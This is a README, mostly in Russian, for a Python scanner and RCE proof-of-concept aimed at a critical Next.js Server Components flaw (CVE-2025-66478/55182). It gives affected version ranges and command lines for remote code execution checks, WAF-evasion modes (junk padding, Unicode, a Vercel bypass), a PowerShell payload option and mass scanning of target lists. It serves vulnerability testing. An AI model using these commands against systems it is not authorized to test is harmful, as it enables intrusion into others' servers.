iamblacksolo2-bugbounty/poc2-cve-2025-55182Мультирежимный сканер уязвимостей для RCE в Next.js (CVE-2025-66478/55182) с безопасным обнаружением по побочным каналам, PoC для RCE, техниками обхода WAF и локальным сканированием зависимостей проекта.
Самый всеобъемлющий сканер уязвимости удалённого выполнения кода Next.js RSC
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478 (также известная как CVE-2025-55182) — это КРИТИЧЕСКАЯ (CVSS 10.0) уязвимость удалённого выполнения кода, затрагивающая приложения Next.js, использующие React Server Components (RSC).
| Диапазон версий | Статус |
|---|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ Уязвима |
| Next.js 15.1.0 - 15.1.8 | ⚠️ Уязвима |
| Next.js 15.2.0 - 15.2.5 | ⚠️ Уязвима |
| Next.js 15.3.0 - 15.3.5 | ⚠️ Уязвима |
| Next.js 15.4.0 - 15.4.7 | ⚠️ Уязвима |
| Next.js 15.5.0 - 15.5.6 | ⚠️ Уязвима |
| Next.js 16.0.0 - 16.0.6 | ⚠️ Уязвима |
| Next.js 14.3.0-canary.77+ | ⚠️ Уязвима |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ Исправлена |
| Next.js 16.0.7+ | ✅ Исправлена |
| Next.js 13.x, 14.x stable | ✅ Не затронута |
Этот инструмент объединяет лучшие возможности нескольких сканеров CVE-2025-66478:
| Возможность | Описание |
|---|---|
| 🔍 Многорежимное обнаружение | Безопасный побочный канал, RCE PoC, только версия, локальное сканирование |
| 🛡️ Техники обхода WAF | Заполнение мусорными данными, Unicode-кодирование, обход для Vercel |
| 📁 Сканирование локальных проектов | Сканирование package.json и lock-файлов на уязвимые зависимости |
| ⚡ Высокая производительность | Многопоточное сканирование с настраиваемой конкурентностью |
| 📊 Несколько форматов вывода | Консоль, JSON, экспорт в файл |
| 🎯 Точное определение версии | HTTP-заголовки, снятие отпечатков RSC, учёт исправленных версий |
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Install dependencies
pip install -r requirements.txt
# Or install manually
pip install requests tqdm
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version
# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe
# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce
# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json
# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q
# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json
# Scan current directory
python3 react2shell-ultimate.py --local .
# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass
# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256
# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode
# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass
# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080
# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"
# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30
# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v
| Параметр | Описание |
|---|---|
-u, --url | Один URL для сканирования |
-l, --list | Файл со списком URL (по одному в строке) |
--local | Сканировать локальную директорию проекта |
--safe | Безопасное обнаружение по побочному каналу (без RCE) |
--rce | Режим proof-of-concept RCE |
--version | Только определение версии |
--comprehensive | Полное сканирование со всеми техниками |
--waf-bypass | Добавить мусорные данные для обхода WAF |
--waf-bypass-size | Размер мусорных данных в КБ (по умолчанию: 128) |
--unicode | Unicode-кодирование для обхода WAF |
--vercel-bypass | Обход WAF для Vercel |
--windows | Использовать полезную нагрузку Windows PowerShell |
-t, --threads | Параллельные потоки (по умолчанию: 10) |
--timeout | Тайм-аут запроса в секундах (по умолчанию: 10) |
-k, --insecure | Отключить проверку SSL |
--proxy | URL прокси (http://host:port) |
-H, --header | Пользовательский заголовок (можно указывать несколько раз) |
-o, --output | Выходной файл (JSON) |
--all-results | Сохранять все результаты, не только уязвимые |
-v, --verbose | Подробный вывод |
-q, --quiet | Показывать только уязвимые хосты |
--json | Вывод JSON в stdout |
--no-color | Отключить цветной вывод |
--safe)Вызывает определённый шаблон ошибки в ответе без выполнения какого-либо кода. Определяет уязвимые реализации RSC по поведению обработки ошибок.
--rce)Выполняет безвредное математическое вычисление (echo $((41*271)) = 11111) для подтверждения возможности RCE. Результат появляется в заголовке X-Action-Redirect.
--version)X-Powered-By на версию Next.jsVary на признаки RSCtext/x-component